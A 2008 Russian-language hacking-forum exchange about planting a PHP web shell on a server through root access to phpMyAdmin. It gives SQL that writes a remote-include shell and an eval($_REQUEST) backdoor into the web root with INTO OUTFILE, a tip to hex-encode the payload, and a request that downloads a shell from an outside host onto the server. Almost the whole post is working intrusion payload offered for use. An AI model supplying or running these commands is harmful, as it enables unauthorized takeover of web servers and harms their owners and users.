01.09.2008, 11:52
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337
Репутация:
3486
|
|
Сообщение от DJ ][akep
Народ прошу помощи.
Вобщем есть рут доступ к PhpMyAdmin
Мне нужно залить шел, но проблема в том что там инклуды отключены 
Я заливал с помощью такого запроса
CREATE TABLE `forshelll` (`shl` TEXT NOT NULL)
TYPE = MYISAM ;
INSERT INTO `forshelll` ( `shell` )
VALUES (
'<?php include("http://shell.ru/shell.php") ?>'
); SELECT `shell` FROM `forshelll` INTO OUTFILE 'patch/www/shell.php'; DROP TABLE `forshelll`
Ворпос! как можно ище залить без инклуда? SELECT '<?php if(isset($_REQUEST["id"])) eval($_REQUEST["id"]);?>' INTO OUTFILE '/blablabla/www/script.php';
Если пхпмайадмин будет ругаться, то переводи текст в кавычках в SQL HEX:
http://hack-shop.org.ru/tools-code-encode
И потом уже без кавычек подставляй в запрос.
/script.php?id=copy("http://shellsite.ru/shell.txt","/blablabla/www/shell.php");
/shell.php - тут шелл. Ессно должны быть права на запись, иначе хер что сделаешь.
|
|
|